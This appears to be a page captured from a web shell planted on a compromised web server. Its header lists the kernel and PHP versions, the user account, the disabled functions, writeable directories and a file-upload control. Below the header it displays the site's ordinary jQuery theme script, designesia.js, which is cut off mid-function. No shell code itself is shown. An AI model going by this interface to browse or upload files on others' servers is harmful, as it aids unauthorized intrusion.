https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/symphony-solusi.co.id/public_html/theme/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/symphony-solusi.co.id/public_html/theme/js/designesia.js
/* --------------------------------------------------
 *
 * --------------------------------------------------*/
;(function ($) {
	/* --------------------------------------------------
	 * template options (customable)
	 * --------------------------------------------------*/
	var de_header_style = 1 // 1 - solid, 2 - transparent
	var de_header_layout = 2 // 1 - default, 2 - extended
	var de_menu_separator = 0 // 1 - dotted, 2 - border, 3 - circle, 4 - square, 5 - plus, 6 - strip, 0 - none
	var de_header_color = 1 // 1 - dark, - 2 light
	var de_header_scroll_color = 1 // 1 - dark, - 2 light

	/* --------------------------------------------------
	 * predefined vars
	 * --------------------------------------------------*/
	var mobile_menu_show = 0
	var v_count = "0"
	var mb
	var instances = []
	var $window = $(window)

	/* --------------------------------------------------
	 * header | style
	 * --------------------------------------------------*/
	function header_styles() {
		if (de_header_style == 2) {
			$("header").addClass("transparent")
		} else {
			$("header").addClass("header-solid")
		}
		if (de_menu_separator == 2) {
			$("#mainmenu").addClass("line-separator")
		} else if (de_menu_separator == 3) {
			$("#mainmenu").addClass("circle-separator")
		} else if (de_menu_separator == 4) {
			$("#mainmenu").addClass("square-separator")
		} else if (de_menu_separator == 5) {
			$("#mainmenu").addClass("plus-separator")
		} else if (de_menu_separator == 6) {
			$("#mainmenu").addClass("strip-separator")
		} else if (de_menu_separator == 0) {
			$("#mainmenu").addClass("no-separator")
		}
		if (de_header_layout == 2) {
			$("header").addClass("de_header_2")
			$("header .info").show()
		}
		if (de_header_color == 2) {
			$("header").addClass("header-light")
		}
		if (de_header_scroll_color == 2) {
			$("header").addClass("scroll-light")
		}

		if (
			$("header").hasClass("de_header_2") &&
			$("header").hasClass("header-solid")
		) {
			// $("body").css("margin-top", "125px")
		}
	}
	/* --------------------------------------------------
	 * header | sticky
	 * --------------------------------------------------*/
	function header_sticky() {
		jQuery("header").addClass("clone", 1000, "easeOutBounce")
		var $document = $(document)
		var vscroll = 0
		if ($document.scrollTop() >= 50 && vscroll == 0) {
			jQuery("header.autoshow").removeClass("scrollOff")
			jQuery("header.autoshow").addClass("scrollOn")
			jQuery("header.autoshow").css("height", "auto")
			vscroll = 1
		} else {
			jQuery("header.autoshow").removeClass("scrollOn")
			jQuery("header.autoshow").addClass("scrollOff")
			vscroll = 0
		}
	}
	/* --------------------------------------------------
	 * plugin | magnificPopup
	 * --------------------------------------------------*/
	function load_magnificPopup() {
		jQuery(".simple-ajax-popup-align-top").magnificPopup({
			type: "ajax",
			alignTop: true,
			overflowY: "scroll",
		})
		jQuery(".simple-ajax-popup").magnificPopup({
			type: "ajax",
		})
		// zoom gallery
		jQuery(".zoom-gallery").magnificPopup({
			delegate: "a",
			type: "image",
			closeOnContentClick: false,
			closeBtnInside: false,
			mainClass: "mfp-with-zoom mfp-img-mobile",
			image: {
				verticalFit: true,
				titleSrc: function (item) {
					return item.el.attr("title")
					//return item.el.attr('title') + ' &middot; <a class="image-source-link" href="'+item.el.attr('data-source')+'" target="_blank">image source</a>';
				},
			},
			gallery: {
				enabled: true,
			},
			zoom: {
				enabled: true,
				duration: 300, // don't foget to change the duration also in CSS
				opener: function (element) {
					return element.find("img")
				},
			},
		})
		// popup youtube, video, gmaps
		jQuery(".popup-youtube, .popup-vimeo, .popup-gmaps").magnificPopup({
			disableOn: 700,
			type: "iframe",
			mainClass: "mfp-fade",
			removalDelay: 160,
			preloader: false,
			fixedContentPos: false,
		})
		// image popup
		$(".image-popup").magnificPopup({
			type: "image",
			closeOnContentClick: true,
			mainClass: "mfp-img-mobile",
			image: {
				verticalFit: true,
			},
		})
		$(".image-popup-vertical-fit").magnificPopup({
			type: "image",
			closeOnContentClick: true,
			mainClass: "mfp-img-mobile",
			image: {
				verticalFit: true,
			},
		})
		$(".image-popup-fit-width").magnificPopup({
			type: "image",
			closeOnContentClick: true,
			image: {
				verticalFit: false,
			},
		})
		$(".image-popup-no-margins").magnificPopup({
			type: "image",
			closeOnContentClick: true,
			closeBtnInside: false,
			fixedContentPos: true,
			mainClass: "mfp-no-margins mfp-with-zoom", // class to remove default margin from left and right side
			image: {
				verticalFit: true,
			},
			zoom: {
				enabled: true,
				duration: 300, // don't foget to change the duration also in CSS
			},
		})
		$(".image-popup-gallery").magnificPopup({
			type: "image",
			closeOnContentClick: false,
			closeBtnInside: false,
			mainClass: "mfp-with-zoom mfp-img-mobile",
			image: {
				verticalFit: true,
				titleSrc: function (item) {
					return item.el.attr("title")
					//return item.el.attr('title') + ' &middot; <a class="image-source-link" href="'+item.el.attr('data-source')+'" target="_blank">image source</a>';
				},
			},
			gallery: {
				enabled: true,
			},
		})
	}
	/* --------------------------------------------------
	 * plugin | enquire.js
	 * --------------------------------------------------*/
	function init_resize() {
		enquire.register("screen and (min-width: 993px)", {
			match: function () {
				jQuery("#mainmenu").show()
				mobile_menu_show = 1
			},
			unmatch: function () {
				jQuery("#mainmenu").hide()
				mobile_menu_show = 0
				jQuery("#menu-btn").show()
			},
		})
		enquire.register("screen and (max-width: 993px)", {
			match: function () {
				$("header").addClass("header-mobile")
				$("body").css("margin-top", "0")
			},
			unmatch: function () {
				$("header").removeClass("header-mobile")
				header_styles()
			},
		})
		init()
		init_de()
		video_autosize()
		var $container = jQuery("#gallery")
		$container.isotope({
			itemSelector: ".item",
			filter: "*",
		})
		jQuery("#gallery").isotope("reLayout")
		$("header").removeClass("smaller")
		$("header").removeClass("logo-smaller")
		$("header").removeClass("clone")
	}
	/* --------------------------------------------------
	 * plugin | owl carousel
	 * --------------------------------------------------*/
	function load_owl() {
		jQuery("#gallery-carousel").owlCarousel({
			items: 4,
			navigation: false,
			pagination: false,
		})
		jQuery(".carousel-gallery").owlCarousel({
			items: 4,
			navigation: false,
			pagination: false,
		})
		jQuery("#gallery-carousel-4").owlCarousel({
			items: 4,
			navigation: false,
			pagination: false,
		})
		jQuery("#blog-carousel").owlCarousel({
			items: 3,
			navigation: false,
			pagination: true,
		})
		jQuery("#testimonial-carousel").owlCarousel({
			items: 2,
			itemsDesktop: [1199, 2],
			itemsDesktopSmall: [980, 2],
			itemsTablet: [768, 1],
			itemsTabletSmall: false,
			itemsMobile: [479, 1],
			navigation: false,
		})
		jQuery("#logo-carousel").owlCarousel({
			items: 6,
			navigation: false,
			pagination: false,
			autoPlay: true,
		})
		jQuery("#contact-carousel").owlCarousel({
			items: 1,
			singleItem: true,
			navigation: false,
			pagination: false,
			autoPlay: true,
		})
		jQuery(".text-slider").owlCarousel({
			items: 1,
			singleItem: true,
			navigation: false,
			pagination: false,
			mouseDrag: false,
			touchDrag: false,
			autoPlay: 2500,
			transitionStyle: "goDown",
		})
		jQuery(".blog-slide").owlCarousel({
			items: 1,
			singleItem: true,
			navigation: false,
			pagination: false,
			autoPlay: false,
		})
		jQuery(".project-slide").owlCarousel({
			items: 1,
			singleItem: true,
			navigation: false,
			pagination: false,
			autoPlay: false,
			mouseDrag: false,
			touchDrag: true,
			transitionStyle: "fade",
		})
		jQuery(".testimonial-list").owlCarousel({
			items: 1,
			singleItem: true,
			navigation: false,
			pagination: true,
			autoPlay: false,
		})
		// Custom Navigation owlCarousel
		$(".next").on("click", function () {
			$(this).parent().parent().find(".blog-slide").trigger("owl.next")
		})
		$(".prev").on("click", function () {
			$(this).parent().parent().find(".blog-slide").trigger("owl.prev")
		})

		jQuery(".owl-custom-nav").each(function () {
			var owl = $(".owl-custom-nav").next()
			var ow = parseInt(owl.css("height"), 10)
			$(this).css("margin-top", ow / 2 - 25)
			owl.owlCarousel()
			// Custom Navigation Events
			$(".btn-next").on("click", function () {
				owl.trigger("owl.next")
			})
			$(".btn-prev").on("click", function () {
				owl.trigger("owl.prev")
			})
		})
	}
	/* --------------------------------------------------
	 * plugin | isotope
	 * --------------------------------------------------*/
	function filter_gallery() {
		var $container = jQuery("#gallery")
		$container.isotope({
			itemSelector: ".item",
			filter: "*",
		})
		jQuery("#filters a").on("click", function () {
			var $this = jQuery(this)
			if ($this.hasClass("selected")) {
				return false
			}
			var $optionSet = $this.parents()
			$optionSet.find(".selected").removeClass("selected")
			$this.addClass("selected")
			var selector = jQuery(this).attr("data-filter")
			$container.isotope({
				filter: selector,
			})
			return false
		})
	}
	/* --------------------------------------------------
	 * plugin | fitvids
	 * --------------------------------------------------*/
	/*!
	 * FitVids 1.0
	 *
	 * Copyright 2011, Chris Coyier - http://css-tricks.com + Dave Rupert - http://daverupert.com
	 * Credit to Thierry Koblentz - http://www.alistapart.com/articles/creating-intrinsic-ratios-for-video/
	 * Released under the WTFPL license - http://sam.zoy.org/wtfpl/
	 *
	 * Date: Thu Sept 01 18:00:00 2011 -0500
	 */
	!(function (a) {
		a.fn.fitVids = function (b) {
			var c = { customSelector: null },
				d = document.createElement("div"),
				e =
					document.getElementsByTagName("base")[0] ||
					document.getElementsByTagName("script")[0]
			return (
				(d.className = "fit-vids-style"),
				(d.innerHTML =
					"&shy;<style> .fluid-width-video-wrapper { width: 100%; position: relative; padding: 0; } .fluid-width-video-wrapper iframe, .fluid-width-video-wrapper object, .fluid-width-video-wrapper embed { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } </style>"),
				e.parentNode.insertBefore(d, e),
				b && a.extend(c, b),
				this.each(function () {
					var b = [
						"iframe[src*='player.vimeo.com']",
						"iframe[src*='www.youtube.com']",
						"iframe[src*='www.kickstarter.com']",
						"object",
						"embed",
					]
					c.customSelector && b.push(c.customSelector)
					var d = a(this).find(b.join(","))
					d.each(function () {
						var b = a(this)
						if (
							!(
								("embed" == this.tagName.toLowerCase() &&
									b.parent("object").length) ||
								b.parent(".fluid-width-video-wrapper").length
							)
						) {
							var c =
									"object" == this.tagName.toLowerCase() || b.attr("height")
										? b.attr("height")
										: b.height(),
								d = b.attr("width") ? b.attr("width") : b.width(),
								e = c / d
							if (!b.attr("id")) {
								var f = "fitvid" + Math.floor(999999 * Math.random())
								b.attr("id", f)
							}
							b
								.wrap('<div class="fluid-width-video-wrapper"></div>')
								.parent(".fluid-width-video-wrapper")
								.css("padding-top", 100 * e + "%"),
								b.removeAttr("height").removeAttr("width")
						}
					})
				})
			)
		}
	})(jQuery)
	/* --------------------------------------------------
	 * back to top
	 * --------------------------------------------------*/
	var scrollTrigger = 500 // px
	function backToTop() {
		var scrollTop = $(window).scrollTop()
		if (scrollTop > scrollTrigger) {
			$("#back-to-top").addClass("show")
		} else {
			$("#back-to-top").removeClass("show")
		}
		$("#back-to-top").on("click", function (e) {
			e.preventDefault()
			$("html,body").stop(true).animate(
				{
					scrollTop: 0,
				},
				700
			)
		})
	}
	/* --------------------------------------------------
	 * plugin | scroll to
	 * --------------------------------------------------*/
	/*!
	 * jquery.scrollto.js 0.0.1 - https://github.com/yckart/jquery.scrollto.js
	 * Scroll smooth to any element in your DOM.
	 *
	 * Copyright (c) 2012 Yannick Albert (http://yckart.com)
	 * Licensed under the MIT license (http://www.opensource.org/licenses/mit-license.php).
	 * 2013/02/17
	 **/
	$.scrollTo = $.fn.scrollTo = function (x, y, options) {
		if (!(this instanceof $))
			return $.fn.scrollTo.apply($("html, body"), arguments)

		options = $.extend(
			{},
			{
				gap: {
					x: 0,
					y: 0,
				},
				animation: {
					easing: "easeInOutExpo",
					duration: 600,
					complete: $.noop,
					step: $.noop,
				},
			},
			options
		)

		return this.each(function () {
			var elem = $(this)
			elem.stop().animate(
				{
					scrollLeft: !isNaN(Number(x))
						? x
						: $(y).offset().left + options.gap.x,
					scrollTop: !isNaN(Number(y))
						? y
						: $(y).offset().top + options.gap.y - 69, // *edited
				},
				options.animation
			)
		})
	}
	/* --------------------------------------------------
	 * counting number
	 * --------------------------------------------------*/
	function de_counter() {
		jQuery(".timer").each(function () {
			var imagePos = jQuery(this).offset().top
			var topOfWindow = jQuery(window).scrollTop()
			if (imagePos < topOfWindow + jQuery(window).height() && v_count == "0") {
				jQuery(function ($) {
					// start all the timers
					jQuery(".timer").each(count)

					function count(options) {
						v_count = "1"
						var $this = jQuery(this)
						options = $.extend(
							{},
							options || {},
							$this.data("countToOptions") || {}
						)
						$this.countTo(options)
					}
				})
			}
		})
	}
	/* --------------------------------------------------
	 * progress bar
	 * --------------------------------------------------*/
	function de_progress() {
		jQuery(".de-progress").each(function () {
			var pos_y = jQuery(this).offset().top
			var value = jQuery(this).find(".progress-bar").attr("data-value")
			var topOfWindow = jQuery(window).scrollTop()
			if (pos_y < topOfWindow + 500) {
				jQuery(this).find(".progress-bar").css(
					{
						width: value,
					},
					"slow"
				)
			}
		})
	}
	/* --------------------------------------------------
	 * progress bar
	 * --------------------------------------------------*/

	text_rotate = function () {
		var quotes = $(".text-rotate-wrap .text-item")
		var quoteIndex = -1

		function showNextQuote() {
			++quoteIndex
			quotes
				.eq(quoteIndex % quotes.length)
				.fadeIn(1)
				.delay(1500)
				.fadeOut(1, showNextQuote)
		}

		showNextQuote()
	}
	/* --------------------------------------------------
	 * custom background
	 * --------------------------------------------------*/
	function custom_bg() {
		$("div,section").css("background-color", function () {
			return jQuery(this).data("bgcolor")
		})
		$("div,section").css("background-image", function () {
			return jQuery(this).data("bgimage")
		})
		$("div,section").css("background-size", function () {
			return "cover"
		})
	}
	/* --------------------------------------------------
	 * custom elements
	 * --------------------------------------------------*/
	function custom_elements() {
		// --------------------------------------------------
		// tabs
		// --------------------------------------------------
		jQuery(".de_tab").find(".de_tab_content > div").hide()
		jQuery(".de_tab").find(".de_tab_content > div:first").show()
		jQuery("li").find(".v-border").fadeTo(150, 0)
		jQuery("li.active").find(".v-border").fadeTo(150, 1)
		jQuery(".de_nav li").on("click", function () {
			jQuery(this).parent().find("li").removeClass("active")
			jQuery(this).addClass("active")
			jQuery(this).parent().parent().find(".v-border").fadeTo(150, 0)
			jQuery(this).parent().parent().find(".de_tab_content > div").hide()
			var indexer = jQuery(this).index() //gets the current index of (this) which is #nav li
			jQuery(this)
				.parent()
				.parent()
				.find(".de_tab_content > div:eq(" + indexer + ")")
				.fadeIn() //uses whatever index the link has to open the corresponding box
			jQuery(this).find(".v-border").fadeTo(150, 1)
		})
		// request quote function
		var rq_step = 1
		jQuery("#request_form .btn-right").on("click", function () {
			var rq_name = $("#rq_name").val()
			var rq_email = $("#rq_email").val()
			var rq_phone = $("#rq_phone").val()
			if (rq_step == 1) {
				if (rq_name.length == 0) {
					$("#rq_name").addClass("error_input")
				} else {
					$("#rq_name").removeClass("error_input")
				}
				if (rq_email.length == 0) {
					$("#rq_email").addClass("error_input")
				} else {
					$("#rq_email").removeClass("error_input")
				}
				if (rq_phone.length == 0) {
					$("#rq_phone").addClass("error_input")
				} else {
					$("#rq_phone").removeClass("error_input")
				}
			}
			if (rq_name.length != 0 && rq_email.length != 0 && rq_phone.length != 0) {
				jQuery("#rq_step_1").hide()
				jQuery("#rq_step_2").fadeIn()
			}
		})
		// --------------------------------------------------
		// tabs
		// --------------------------------------------------
		jQuery(".de_review").find(".de_tab_content > div").hide()
		jQuery(".de_review").find(".de_tab_content > div:first").show()
		//jQuery('.de_review').find('.de_nav li').fadeTo(150,.5);
		jQuery(".de_review").find(".de_nav li:first").fadeTo(150, 1)
		jQuery(".de_nav li").on("click", function () {
			jQuery(this).parent().find("li").removeClass("active")
			//jQuery(this).parent().find('li').fadeTo(150,.5);
			jQuery(this).addClass("active")
			jQuery(this).fadeTo(150, 1)
			jQuery(this).parent().parent().find(".de_tab_content > div").hide()
			var indexer = jQuery(this).index() //gets the current index of (this) which is #nav li
			jQuery(this)
				.parent()
				.parent()
				.find(".de_tab_content > div:eq(" + indexer + ")")
				.show() //uses whatever index the link has to open the corresponding box
		})
		// --------------------------------------------------
		// toggle
		// --------------------------------------------------
		jQuery(".toggle-list h2").addClass("acc_active")
		jQuery(".toggle-list h2").toggle(
			function () {
				jQuery(this).addClass("acc_noactive")
				jQuery(this).next(".ac-content").slideToggle(200)
			},
			function () {
				jQuery(this).removeClass("acc_noactive").addClass("acc_active")
				jQuery(this).next(".ac-content").slideToggle(200)
			}
		)
	}
	/* --------------------------------------------------
	 * video autosize
	 * --------------------------------------------------*/
	function video_autosize() {
		jQuery(".de-video-container").each(function () {
			var height_1 = jQuery(this).css("height")
			var height_2 = jQuery(this).find(".de-video-content").css("height")
			var newheight =
				(height_1.substring(0, height_1.length - 2) -
					height_2.substring(0, height_2.length - 2)) /
				2
			jQuery(this).find(".de-video-overlay").css("height", height_1)
			jQuery(this).find(".de-video-content").animate(
				{
					"margin-top": newheight,
				},
				"fast"
			)
		})
	}
	/* --------------------------------------------------
	 * center x and y
	 * --------------------------------------------------*/
	function center_xy() {
		jQuery(".center-xy").each(function () {
			jQuery(this)
				.parent()
				.find("img")
				.on("load", function () {
					var w = parseInt(
						jQuery(this).parent().find(".center-xy").css("width"),
						10
					)
					var h = parseInt(
						jQuery(this).parent().find(".center-xy").css("height"),
						10
					)
					var pic_w = jQuery(this).css("width")
					var pic_h = jQuery(this).css("height")
					jQuery(this)
						.parent()
						.find(".center-xy")
						.css("left", parseInt(pic_w, 10) / 2 - w / 2)
					jQuery(this)
						.parent()
						.find(".center-xy")
						.css("top", parseInt(pic_h, 10) / 2 - h / 2)
					jQuery(this).parent().find(".bg-overlay").css("width", pic_w)
					jQuery(this).parent().find(".bg-overlay").css("height", pic_h)
				})
				.each(function () {
					if (this.complete) $(this).load()
				})
		})
	}
	/* --------------------------------------------------
	 * add arrow for mobile menu
	 * --------------------------------------------------*/
	function menu_arrow() {
		// mainmenu create span
		jQuery("#mainmenu li a").each(function () {
			if ($(this).next("ul").length > 0) {
				$("<span></span>").insertAfter($(this))
			}
		})
		// mainmenu arrow click
		jQuery("#mainmenu > li > span").on("click", function () {
			$("header").css("height", "auto")
			var iteration = $(this).data("iteration") || 1
			switch (iteration) {
				case 1:
					$(this).addClass("active")
					$(this).parent().find("ul:first").css("height", "auto")
					var curHeight = $(this).parent().find("ul:first").height()
					$(this).parent().find("ul:first").css("height", "0")
					$(this).parent().find("ul:first").animate(
						{
							height: curHeight,
						},
						400,
						"easeInOutQuint"
					)
					break
				case 2:
					$(this).removeClass("active")
					$(this).parent().find("ul:first").animate(
						{
							height: "0",
						},
						400,
						"easeInOutQuint"
					)
					break
			}
			iteration++
			if (iteration > 2) iteration = 1
			$(this).data("iteration", iteration)
		})
		jQuery("#mainmenu > li > ul > li > span").on("click", function () {
			var iteration = $(this).data("iteration") || 1
			switch (iteration) {
				case 1:
					$(this).addClass("active")
					$(this).parent().find("ul:first").css("height", "auto")
					$(this)
						.parent()
						.parent()
						.parent()
						.find("ul:first")
						.css("height", "auto")
					var curHeight = $(this).parent().find("ul:first").height()
					$(this).parent().find("ul:first").css("height", "0")
					$(this).parent().find("ul:first").animate(
						{
							height: curHeight,
						},
						400,
						"easeInOutQuint"
					)
					break
				case 2:
					$(this).removeClass("active")
					$(this).parent().find("ul:first").animate(
						{
							height: "0",
						},
						400,
						"easeInOutQuint"
					)
					break
			}
			iteration++
			if (iteration > 2) iteration = 1
			$(this).data("iteration", iteration)
		})
	}
	/* --------------------------------------------------
	 * show gallery item sequence
	 * --------------------------------------------------*/
	sequence = function () {
		var sq = jQuery(".sequence > .sq-item .picframe")
		var count = sq.length
		sq.addClass("slideInUp")
		for (var i = 0; i <= count; i++) {
			sqx = jQuery(".sequence > .sq-item:eq(" + i + ") .picframe")
			sqx.attr("data-wow-delay", i / 8 + "s")
		}
	}
	/* --------------------------------------------------
	 * show gallery item sequence
	 * --------------------------------------------------*/
	sequence_a = function () {
		var sq = jQuery(".sequence > .sq-item")
		var count = sq.length
		sq.addClass("slideInUp")
		for (var i = 0; i <= count; i++) {
			sqx = jQuery(".sequence > .sq-item:eq(" + i + ")")
			sqx.attr("data-wow-delay", i / 8 + "s")
		}
	}
	/* --------------------------------------------------
	 * custom scroll
	 * --------------------------------------------------*/
	$.fn.moveIt = function () {
		$(this).each(function () {
			instances.push(new moveItItem($(this)))
		})
	}
	moveItItemNow = function () {
		var scrollTop = $window.scrollTop()
		instances.forEach(function (inst) {
			inst.update(scrollTop)
		})
	}
	var moveItItem = function (el) {
		this.el = $(el)
		this.speed = parseInt(this.el.attr("data-scroll-speed"))
	}
	moveItItem.prototype.update = function (scrollTop) {
		var pos = scrollTop / this.speed
		this.el.css("transform", "translateY(" + pos + "px)")
	}
	$(function () {
		$("[data-scroll-speed]").moveIt()
	})
	/* --------------------------------------------------
	 * multiple function
	 * --------------------------------------------------*/
	function init() {
		var sh = jQuery("#de-sidebar").css("height")
		var dh = jQuery(window).innerHeight()
		var h = parseInt(sh) - parseInt(dh)

		function scrolling() {
			var mq = window.matchMedia("(min-width: 993px)")
			var ms = window.matchMedia("(min-width: 768px)")
			var mt = window.matchMedia("(max-width: 992px)")

			if (mq.matches) {
				var distanceY =
						window.pageYOffset || document.documentElement.scrollTop,
					shrinkOn = 55,
					header = jQuery("header")
				if (distanceY > shrinkOn) {
					if (!jQuery("body").hasClass("side-layout")) {
						header.addClass("smaller")
					}
				} else {
					if (header.hasClass("smaller")) {
						header.removeClass("smaller")
					}
				}

				if (jQuery("body").hasClass("side-content")) {
					jQuery("body").addClass("side-layout")
				}
			}
			if (mq.matches) {
				if (jQuery("header").hasClass("side-header")) {
					if (jQuery(document).scrollTop() >= h) {
						jQuery("#de-sidebar").css("position", "fixed")
						if (parseInt(sh) > parseInt(dh)) {
							jQuery("#de-sidebar").css("top", -h)
						}
						jQuery("#main").addClass("col-md-offset-3")
						jQuery("h1#logo img").css("padding-left", "7px")
						jQuery("header .h-content").css("padding-left", "7px")
						jQuery("#mainmenu li").css("width", "103%")
					} else {
						jQuery("#de-sidebar").css("position", "relative")
						if (parseInt(sh) > parseInt(dh)) {
							jQuery("#de-sidebar").css("top", 0)
						}
						jQuery("#main").removeClass("col-md-offset-3")
						jQuery("h1#logo img").css("padding-left", "0px")
						jQuery("header .h-content").css("padding-left", "0px")
						jQuery("#mainmenu li").css("width", "100%")
					}
				}
			}
			if (mt.matches) {
				if (jQuery("body").hasClass("side-content")) {
					jQuery("body").removeClass("side-layout")
				}
			}
		}
		scrolling()
	}
	/* --------------------------------------------------
	 * multiple function
	 * --------------------------------------------------*/
	function init_de() {
		jQuery(".de-team-list").each(function () {
			jQuery(this)
				.find("img")
				.on("load", function () {
					var w = jQuery(this).css("width")
					var h = jQuery(this).css("height")
					//nh = (h.substring(0, h.length - 2)/2)-48;
					jQuery(this).parent().parent().find(".team-pic").css("height", h)
					jQuery(this).parent().parent().find(".team-desc").css("width", w)
					jQuery(this).parent().parent().find(".team-desc").css("height", h)
					jQuery(this).parent().parent().find(".team-desc").css("top", h)
				})
				.each(function () {
					if (this.complete) $(this).load()
				})
		})
		jQuery(".de-team-list")
			.on("mouseenter", function () {
				var h
				h = jQuery(this).find("img").css("height")
				jQuery(this).find(".team-desc").stop(true).animate(
					{
						top: "0px",
					},
					350,
					"easeOutQuad"
				)
				jQuery(this).find("img").stop(true).animate(
					{
						"margin-top": "-100px",
					},
					400,
					"easeOutQuad"
				)
			})
			.on("mouseleave", function () {
				var h
				h = jQuery(this).find("img").css("height")
				jQuery(this).find(".team-desc").stop(true).animate(
					{
						top: h,
					},
					350,
					"easeOutQuad"
				)
				jQuery(this).find("img").stop(true).animate(
					{
						"margin-top": "0px",
					},
					400,
					"easeOutQuad"
				)
			})
		// portfolio
		jQuery(".item .picframe").each(function () {
			jQuery(this).find("img").css("width", "100%")
			jQuery(this).find("img").css("height", "auto")
			jQuery(this)
				.find("img")
				.on("load", function () {
					var w = jQuery(this).css("width")
					var h = jQuery(this).css("height")
					//nh = (h.substring(0, h.length - 2)/2)-48;
					jQuery(this).parent().css("height", h)
				})
				.each(function () {
					if (this.complete) $(this).load()
				})
		})
		// --------------------------------------------------
		// portfolio hover
		// --------------------------------------------------
		jQuery(".overlay").fadeTo(1, 0)
		// gallery hover
		jQuery(".item .picframe")
			.on("mouseenter", function () {
				jQuery(this)
					.parent()
					.find(".overlay")
					.width(jQuery(this).find("img").css("width"))
				jQuery(this)
					.parent()
					.find(".overlay")
					.height(jQuery(this).find("img").css("height"))
				jQuery(this).parent().find(".overlay").stop(true).fadeTo(200, 0.9)
				var picheight = jQuery(this).find("img").css("height")
				var newheight
				newheight = picheight.substring(0, picheight.length - 2) / 2 - 10
				//alert(newheight);
				//jQuery(this).parent().find(".pf_text").stop(true).animate({'margin-top': newheight},200,'easeOutCubic');
				jQuery(this).parent().find(".pf_text").css("margin-top", newheight)
				jQuery(this).parent().find(".pf_text").stop(true).animate(
					{
						opacity: "1",
					},
					1000,
					"easeOutCubic"
				)
				var w = jQuery(this).find("img").css("width")
				var h = jQuery(this).find("img").css("height")
				var w = parseInt(w, 10)
				var h = parseInt(h, 10)
				var $scale = 1.1
				//alert(w);
				jQuery(this)
					.find("img")
					.stop(true)
					.animate(
						{
							width: w * $scale,
							height: h * $scale,
							"margin-left": (-w * ($scale - 1)) / 2,
							"margin-top": (-h * ($scale - 1)) / 2,
						},
						400,
						"easeOutCubic"
					)
			})
			.on("mouseleave", function () {
				var newheight
				var picheight = jQuery(this).find("img").css("height")
				newheight = picheight.substring(0, picheight.length - 2) / 2 - 10
				//jQuery(this).parent().find(".pf_text").stop(true).animate({'margin-top': newheight - 30},200,'easeOutCubic');
				jQuery(this).parent().find(".pf_text").stop(true).animate(
					{
						opacity: "0",
					},
					400,
					"easeOutCubic"
				)
				jQuery(this).parent().find(".overlay").stop(true).fadeTo(200, 0)
				jQuery(this).find("img").stop(true).animate(
					{
						width: "100%",
						height: "100%",
						"margin-left": 0,
						"margin-top": 0,
					},
					400,
					"easeOutQuad"
				)
			})
		jQuery(".overlay").fadeTo(1, 0)
		$.stellar("refresh")
	}
	// --------------------------------------------------
	// active menu
	// --------------------------------------------------
	active_menu = function () {
		if ($("body").hasClass("one-page")) {
			jQuery("#mainmenu li a").each(function () {
				if (this.href.indexOf("#") != -1) {
					var href = jQuery(this).attr("href")
					if (jQuery(window).scrollTop() > jQuery(href).offset().top - 140) {
						jQuery("nav li a").removeClass("active")
						jQuery(this).addClass("active")
					}
				}
			})
		}
	}
	// --------------------------------------------------
	// custom dropdown
	// --------------------------------------------------
	dropdown = function (e) {
		var obj = $(e + ".dropdown")
		var btn = obj.find(".btn-selector")
		var dd = obj.find("ul")
		var opt = dd.find("li")

		obj
			.on("mouseenter", function () {
				dd.show()
			})
			.on("mouseleave", function () {
				dd.hide()
			})

		opt.on("click", function () {
			dd.hide()
			var txt = $(this).text()
			opt.removeClass("active")
			$(this).addClass("active")
			btn.text(txt)
		})
	}
	/* --------------------------------------------------
	 * document ready
	 * --------------------------------------------------*/
	jQuery(document).ready(function () {
		"use strict"
		$("body").show()
		$("body").addClass("de_light")
		new WOW().init()
		header_styles()
		load_magnificPopup()
		center_xy()
		init_de()
		init_resize()
		active_menu()
		dropdown("#lang-selector")
		// --------------------------------------------------
		// custom positiion
		// --------------------------------------------------
		var $doc_height = jQuery(window).innerHeight()
		// jQuery("#homepage #content.content-overlay").css("margin-top", $doc_height)
		jQuery(".full-height").css("height", $doc_height)
		var picheight = jQuery(".center-y").css("height")
		picheight = parseInt(picheight, 10)
		jQuery(".center-y").css("margin-top", ($doc_height - picheight) / 2 - 90)
		jQuery(".full-height .de-video-container").css("height", $doc_height)
		// --------------------------------------------------
		// blog list hover
		// --------------------------------------------------
		jQuery(".blog-list")
			.on("mouseenter", function () {
				var v_height = jQuery(this).find(".blog-slide").css("height")
				var v_width = jQuery(this).find(".blog-slide").css("width")
				var newheight = v_height.substring(0, v_height.length - 2) / 2 - 40
				jQuery(this).find(".owl-arrow").css("margin-top", newheight)
				jQuery(this).find(".owl-arrow").css("width", v_width)
				jQuery(this).find(".owl-arrow").fadeTo(150, 1)
				//alert(v_height);
			})
			.on("mouseleave", function () {
				jQuery(this).find(".owl-arrow").fadeTo(150, 0)
			})
		//  logo carousel hover
		jQuery("#logo-carousel img")
			.on("mouseenter", function () {
				jQuery(this).fadeTo(150, 0.5)
			})
			.on("mouseleave", function () {
				jQuery(this).fadeTo(150, 1)
			})
		if ($("#back-to-top").length) {
			backToTop()
		}
		jQuery(".nav-exit").on("click", function () {
			$.magnificPopup.close()
		})
		// --------------------------------------------------
		// navigation for mobile
		// --------------------------------------------------
		jQuery("#menu-btn").on("click", function () {
			if (mobile_menu_show == 0) {
				jQuery("#mainmenu").slideDown()
				mobile_menu_show = 1
			} else {
				jQuery("#mainmenu").slideUp()
				mobile_menu_show = 0
			}
		})
		jQuery("a.btn").on("click", function (evn) {
			if (this.href.indexOf("#") != -1) {
				evn.preventDefault()
				jQuery("html,body").scrollTo(this.hash, this.hash)
			}
		})
		jQuery(".de-gallery .item .icon-info").on("click", function () {
			jQuery(".page-overlay").show()
			url = jQuery(this).attr("data-value")
			jQuery("#loader-area .project-load").load(url, function () {
				jQuery("#loader-area").slideDown(500, function () {
					jQuery(".page-overlay").hide()
					jQuery("html, body").animate(
						{
							scrollTop: jQuery("#loader-area").offset().top - 70,
						},
						500,
						"easeOutCubic"
					)
